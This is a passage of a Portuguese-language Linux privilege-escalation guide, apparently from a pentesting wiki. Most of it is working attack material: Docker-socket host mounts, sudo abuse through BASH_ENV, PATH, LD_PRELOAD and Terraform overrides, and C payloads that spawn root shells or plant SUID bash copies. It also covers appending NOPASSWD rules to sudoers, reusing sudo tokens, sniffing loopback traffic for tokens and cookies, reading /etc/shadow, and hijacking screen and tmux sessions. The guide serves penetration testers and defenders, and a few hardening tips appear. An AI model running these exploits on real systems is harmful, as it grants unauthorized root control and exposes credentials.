curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Inicie o container recém-criado:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Use
socatpara estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Depois de estabelecer a conexão socat, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host.
Outros
Observe que se você tem permissões de escrita sobre o docker socket porque está inside the group docker você tem mais maneiras de escalar privilégios. Se a docker API is listening in a port você também pode ser capaz de comprometê-la.
Confira mais maneiras de escapar de containers ou abusar de runtimes de container para escalar privilégios em:
Containerd (ctr) privilege escalation
Se você descobrir que pode usar o comando ctr, leia a seguinte página pois pode ser possível abusar dele para escalar privilégios:
Containerd (ctr) Privilege Escalation
RunC privilege escalation
Se você descobrir que pode usar o comando runc leia a seguinte página pois pode ser possível abusar dele para escalar privilégios:
D-Bus
D-Bus é um sofisticado sistema de Inter-Process Communication (IPC) que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, ele oferece um framework robusto para diferentes formas de comunicação entre aplicações.
O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, lembrando enhanced UNIX domain sockets. Além disso, ele auxilia na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, agilizando processos que tradicionalmente eram complexos.
O D-Bus opera em um modelo allow/deny, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios através da exploração dessas permissões.
Um exemplo de tal política em /etc/dbus-1/system.d/wpa_supplicant.conf é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de fi.w1.wpa_supplicant1.
Políticas sem um usuário ou grupo especificado aplicam-se universalmente, enquanto políticas de contexto “default” aplicam-se a todos não cobertos por outras políticas específicas.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Aprenda como enumerate e exploit uma comunicação D-Bus aqui:
D-Bus Enumeration & Command Injection Privilege Escalation
Rede
É sempre interessante enumerate a rede e descobrir a posição da máquina.
Generic enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)
#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1
#L2 neighbours
(arp -e || arp -a || ip neigh)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null
#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null
#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20
#Files used by network services
lsof -i
Triagem rápida de filtragem de saída
Se o host consegue executar comandos mas callbacks falham, separe rapidamente filtragem de DNS, transport, proxy e route:
# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true
# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me
Open ports
Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u
Classifique os listeners pelo bind target:
0.0.0.0/[::]: exposto em todas as interfaces locais.127.0.0.1/::1: apenas local (bons candidatos para tunnel/forward).- IPs internos específicos (ex.:
10.x,172.16/12,192.168.x,fe80::): geralmente acessíveis apenas a partir de segmentos internos.
Fluxo de triagem para serviços locais
Quando você compromete um host, serviços vinculados a 127.0.0.1 frequentemente ficam acessíveis pela primeira vez a partir do seu shell. Um fluxo de trabalho local rápido é:
# 1) Find local listeners
ss -tulnp
# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1
# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1
# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>
LinPEAS as a network scanner (modo somente de rede)
Além das verificações locais de PE, linPEAS pode ser executado como um scanner de rede focado. Ele usa binários disponíveis em $PATH (tipicamente fping, ping, nc, ncat) e não instala ferramentas.
# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t
# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24
# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20
# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
Se você passar -d, -p ou -i sem -t, linPEAS se comporta como um scanner de rede puro (ignorando o restante das verificações de privilege-escalation).
Sniffing
Verifique se você consegue sniff traffic. Se conseguir, poderá obter algumas credentials.
timeout 1 tcpdump
Verificações práticas rápidas:
#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"
#Find capture interfaces
tcpdump -D
ip -br addr
Loopback (lo) é especialmente valioso em post-exploitation porque muitos serviços acessíveis apenas internamente expõem tokens/cookies/credentials ali:
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
Capture agora, parse depois:
sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri
Usuários
Enumeração Genérica
Verifique quem você é, quais privilégios você possui, quais usuários existem nos sistemas, quais podem fazer login e quais têm root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
UID grande
Algumas versões do Linux foram afetadas por um bug que permite que usuários com UID > INT_MAX escalem privilégios. Mais informações: here, here and here.
Exploit it using: systemd-run -t /bin/bash
Grupos
Verifique se você é um membro de algum grupo que possa conceder privilégios de root:
Interesting Groups - Linux Privesc
Área de transferência
Verifique se há algo interessante na área de transferência (se possível)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Política de Senhas
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Senhas conhecidas
Se você sabe alguma senha do ambiente tente fazer login como cada usuário usando essa senha.
Su Brute
Se você não se importa em gerar muito ruído e os binários su e timeout estiverem presentes na máquina, você pode tentar brute-forcear usuários usando su-bruteforce.
Linpeas com o parâmetro -a também tenta brute-forcear usuários.
Abusos em PATH gravável
$PATH
Se você descobrir que pode escrever dentro de alguma pasta do $PATH, pode ser capaz de escalar privilégios criando um backdoor dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que não seja carregado a partir de uma pasta que esteja antes da sua pasta gravável no $PATH.
SUDO e SUID
Você pode estar autorizado a executar alguns comandos usando sudo, ou eles podem ter o bit suid. Verifique usando:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Alguns comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando. Por exemplo:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
Neste exemplo, o usuário demo pode executar vim como root; agora é trivial obter um shell adicionando uma ssh key no diretório root ou chamando sh.
sudo vim -c '!sh'
SETENV
Esta diretiva permite que o usuário set an environment variable durante a execução de algo:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Este exemplo, baseado na máquina HTB Admirer, era vulnerável a PYTHONPATH hijacking para carregar uma biblioteca python arbitrária ao executar o script como root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV preservado via sudo env_keep → shell como root
Se o sudoers preserva BASH_ENV (por exemplo, Defaults env_keep+="ENV BASH_ENV"), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido.
-
Por que funciona: Para shells não interativos, o Bash avalia
$BASH_ENVe executa o conteúdo desse arquivo antes de rodar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. SeBASH_ENVfor preservado pelo sudo, seu arquivo é executado com privilégios de root. -
Requisitos:
-
Uma regra do sudo que você possa executar (qualquer alvo que invoque
/bin/bashde forma não interativa, ou qualquer bash script). -
BASH_ENVpresente emenv_keep(verifique comsudo -l). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Endurecimento:
- Remova
BASH_ENV(eENV) deenv_keep, prefiraenv_reset. - Evite wrappers de shell para comandos permitidos via sudo; use binários mínimos.
- Considere registrar I/O do sudo e alertas quando variáveis de ambiente preservadas forem usadas.
Terraform via sudo com HOME preservado (!env_reset)
Se o sudo mantiver o ambiente intacto (!env_reset) enquanto permitir terraform apply, $HOME permanece como o usuário que chamou. O Terraform, portanto, carrega $HOME/.terraformrc como root e respeita provider_installation.dev_overrides.
- Aponte o provider requerido para um diretório gravável e coloque um plugin malicioso com o nome do provider (p.ex.,
terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform irá falhar no Go plugin handshake mas executa o payload como root antes de morrer, deixando um SUID shell para trás.
TF_VAR overrides + symlink validation bypass
As variáveis do Terraform podem ser fornecidas via variáveis de ambiente TF_VAR_<name>, que sobrevivem quando o sudo preserva o ambiente. Validações fracas, como strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, ".."), podem ser contornadas com symlinks:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform resolve o symlink e copia o arquivo real /root/root.txt para um destino legível pelo atacante. A mesma abordagem pode ser usada para write em caminhos privilegiados ao pré-criar symlinks de destino (por exemplo, apontando o caminho de destino do provider dentro de /etc/cron.d/).
requiretty / !requiretty
Em algumas distribuições mais antigas, o sudo pode ser configurado com requiretty, que força o sudo a ser executado apenas a partir de um TTY interativo. Se !requiretty estiver definido (ou a opção estiver ausente), o sudo pode ser executado a partir de contextos não interativos, tais como reverse shells, cron jobs, ou scripts.
Defaults !requiretty
Isto não é uma vulnerabilidade direta por si só, mas amplia as situações em que regras do sudo podem ser abusadas sem precisar de um PTY completo.
Sudo env_keep+=PATH / insecure secure_path → PATH hijack
Se sudo -l mostrar env_keep+=PATH ou um secure_path contendo entradas graváveis por um atacante (ex.: /home/<user>/bin), qualquer comando relativo dentro do alvo permitido pelo sudo pode ser sobrescrito.
- Requisitos: uma regra do sudo (frequentemente
NOPASSWD) que execute um script/binário que chama comandos sem caminhos absolutos (free,df,ps, etc.) e uma entrada do PATH gravável que seja pesquisada primeiro.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
bash -p # root shell via SUID bit
Sudo: bypass de execução por caminhos
Jump para ler outros arquivos ou use symlinks. Por exemplo no arquivo sudoers: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Se um wildcard for usado (*), fica ainda mais fácil:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Comando sudo/binário SUID sem caminho do comando
Se a permissão sudo for concedida a um único comando sem especificar o caminho: hacker10 ALL= (root) less você pode explorá-la alterando a variável PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Esta técnica também pode ser usada se um binário suid executar outro comando sem especificar o caminho para ele (sempre verifique com strings o conteúdo de um binário SUID estranho)).
SUID binário com caminho do comando
Se o binário suid executar outro comando especificando o caminho, então, você pode tentar exportar uma função com o nome do comando que o arquivo suid está chamando.
Por exemplo, se um binário suid chama /usr/sbin/service apache2 start você deve tentar criar a função e exportá-la:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Então, quando você chamar o suid binary, esta função será executada
Script gravável executado por um SUID wrapper
Uma misconfiguração comum em aplicações customizadas é um root-owned SUID binary wrapper que executa um script, enquanto o próprio script é gravável por low-priv users.
Padrão típico:
int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}
Se /usr/local/bin/backup.sh for gravável, você pode anexar comandos payload e então executar o wrapper SUID:
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
Verificações rápidas:
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
Este caminho de ataque é especialmente comum em wrappers de “manutenção”/“backup” distribuídos em /usr/local/bin.
LD_PRELOAD & LD_LIBRARY_PATH
A variável de ambiente LD_PRELOAD é usada para especificar uma ou mais bibliotecas compartilhadas (arquivos .so) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (libc.so). Esse processo é conhecido como pré-carregamento de uma biblioteca.
No entanto, para manter a segurança do sistema e impedir que esse recurso seja explorado, especialmente com executáveis suid/sgid, o sistema impõe certas condições:
- O loader ignora LD_PRELOAD para executáveis em que o ID de usuário real (ruid) não corresponde ao ID de usuário efetivo (euid).
- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas.
Privilege escalation pode ocorrer se você tiver a capacidade de executar comandos com sudo e a saída de sudo -l incluir a instrução env_keep+=LD_PRELOAD. Essa configuração permite que a variável de ambiente LD_PRELOAD persista e seja reconhecida mesmo quando comandos são executados com sudo, potencialmente levando à execução de código arbitrário com privilégios elevados.
Defaults env_keep += LD_PRELOAD
Salvar como /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Em seguida, compile-o usando:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Finalmente, escalate privileges executando
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
Um privesc similar pode ser abusado se o atacante controlar a variável de ambiente LD_LIBRARY_PATH, pois ele controla o caminho onde as bibliotecas serão procuradas.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Quando encontrar um binário com permissões SUID que pareça incomum, é uma boa prática verificar se ele está carregando arquivos .so corretamente. Isso pode ser checado executando o seguinte comando:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Por exemplo, encontrar um erro como “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” sugere um potencial para exploração.
Para explorar isso, cria-se um arquivo em C, por exemplo “/path/to/.config/libcalc.c”, contendo o seguinte código:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivo e executando um shell com privilégios elevados.
Compile o arquivo C acima em um arquivo objeto compartilhado (.so) com:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Finalmente, executar o SUID binary afetado deve acionar o exploit, permitindo um possível comprometimento do sistema.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Agora que encontramos um SUID binary que carrega uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Se você receber um erro como
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
isso significa que a biblioteca que você gerou precisa ter uma função chamada a_function_name.
GTFOBins
GTFOBins é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. GTFOArgs é o mesmo, mas para casos onde você pode apenas injetar argumentos em um comando.
O projeto reúne funcionalidades legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar bind e reverse shells, e facilitar outras tarefas pós-exploração.
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
Se você pode acessar sudo -l você pode usar a ferramenta FallOfSudo para verificar se ela encontra como explorar alguma regra do sudo.
Reusing Sudo Tokens
Em casos onde você tem sudo access mas não a senha, você pode escalar privilégios aguardando a execução de um comando sudo e então sequestrando o token de sessão.
Requisitos para escalar privilégios:
- Você já tem um shell como o usuário “sampleuser”
- “sampleuser” usou
sudopara executar algo nos últimos 15mins (por padrão essa é a duração do token do sudo que nos permite usarsudosem inserir nenhuma senha) cat /proc/sys/kernel/yama/ptrace_scopeé 0gdbestá acessível (você pode conseguir fazer upload dele)
(Você pode habilitar temporariamente ptrace_scope com echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ou permanentemente modificando /etc/sysctl.d/10-ptrace.conf e definindo kernel.yama.ptrace_scope = 0)
Se todos esses requisitos forem atendidos, você pode escalar privilégios usando: https://github.com/nongiach/sudo_inject
- The first exploit (
exploit.sh) will create the binaryactivate_sudo_tokenin /tmp. You can use it to activate the sudo token in your session (you won’t get automatically a root shell, dosudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- O segundo exploit (
exploit_v2.sh) criará um sh shell em /tmp de propriedade do root com setuid
bash exploit_v2.sh
/tmp/sh -p
- O terceiro exploit (
exploit_v3.sh) irá criar um arquivo sudoers que torna sudo tokens eternos e permite que todos os usuários usem sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Se você tiver permissões de escrita na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário write_sudo_token para criar um token sudo para um usuário e PID.
Por exemplo, se você puder sobrescrever o arquivo /var/run/sudo/ts/sampleuser e tiver um shell como esse usuário com PID 1234, você pode obter privilégios sudo sem precisar saber a senha fazendo:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
O arquivo /etc/sudoers e os arquivos dentro de /etc/sudoers.d configuram quem pode usar sudo e como. Esses arquivos por padrão só podem ser lidos pelo usuário root e pelo grupo root.
Se você puder ler este arquivo, poderá obter algumas informações interessantes, e se você puder escrever qualquer arquivo você será capaz de escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Se você pode escrever, pode abusar dessa permissão.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Outra forma de abusar dessas permissões:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Existem algumas alternativas ao sudo binary, como doas para OpenBSD; lembre-se de verificar sua configuração em /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Se você sabe que um usuário normalmente se conecta a uma máquina e usa sudo para escalar privilégios e você obteve um shell no contexto desse usuário, você pode criar um novo executável sudo que executará seu código como root e depois o comando do usuário. Em seguida, modifique o $PATH do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.
Observe que, se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Você pode encontrar outro exemplo em bashdoor.py
Ou executando algo como:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Biblioteca Compartilhada
ld.so
O arquivo /etc/ld.so.conf indica de onde vêm os arquivos de configuração carregados. Normalmente, este arquivo contém a seguinte linha: include /etc/ld.so.conf.d/*.conf
Isso significa que os arquivos de configuração em /etc/ld.so.conf.d/*.conf serão lidos. Esses arquivos de configuração apontam para outras pastas onde as bibliotecas serão procuradas. Por exemplo, o conteúdo de /etc/ld.so.conf.d/libc.conf é /usr/local/lib. Isso significa que o sistema irá procurar por bibliotecas dentro de /usr/local/lib.
Se por algum motivo um usuário tem permissões de escrita em qualquer um dos caminhos indicados: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualquer arquivo dentro de /etc/ld.so.conf.d/ ou qualquer pasta referenciada pelos arquivos de configuração em /etc/ld.so.conf.d/*.conf ele pode ser capaz de escalar privilégios.
Veja como explorar essa má-configuração na página a seguir:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Ao copiar a lib para /var/tmp/flag15/, ela será usada pelo programa nesse local conforme especificado na variável RPATH.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Em seguida, crie uma biblioteca maliciosa em /var/tmp com gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capacidades
Linux capabilities fornecem um subconjunto dos privilégios de root disponíveis para um processo. Isso efetivamente divide os privilégios de root em unidades menores e distintas. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.
Leia a seguinte página para aprender mais sobre capabilities e como abusar delas:
Permissões de diretório
Em um diretório, o bit “execute” implica que o usuário afetado pode “cd” para dentro da pasta.
O bit “read” implica que o usuário pode listar os arquivos, e o bit “write” implica que o usuário pode excluir e criar novos arquivos.
ACLs
Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de substituir as permissões tradicionais ugo/rwx. Essas permissões aumentam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de granularidade assegura um gerenciamento de acesso mais preciso. Mais detalhes podem ser encontrados aqui.
Dê ao usuário “kali” permissões de leitura e escrita sobre um arquivo:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Obter arquivos com ACLs específicas do sistema:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Backdoor ACL oculto em drop-ins do sudoers
Uma configuração incorreta comum é um arquivo pertencente a root em /etc/sudoers.d/ com modo 440 que ainda concede acesso de escrita a um usuário de baixo privilégio via ACL.
ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>
Se você vir algo como user:alice:rw-, o usuário pode acrescentar uma regra sudo apesar dos bits de modo restritivos:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l
Este é um caminho de persistência/privesc de alto impacto porque é fácil de perder em análises apenas com ls -l.
Sessões shell abertas
Em versões antigas você pode hijack alguma sessão de shell de outro usuário (root).
Nas versões mais recentes você só poderá conectar a screen sessions do seu próprio usuário. No entanto, você pode encontrar informações interessantes dentro da sessão.
screen sessions hijacking
Listar screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null
.png)
Anexar a uma sessão
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
Isso era um problema de versões antigas do tmux. Não consegui hijackar uma sessão do tmux (v2.1) criada pelo root como um usuário sem privilégios.
Listar sessões do tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
Anexar a uma sessão
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
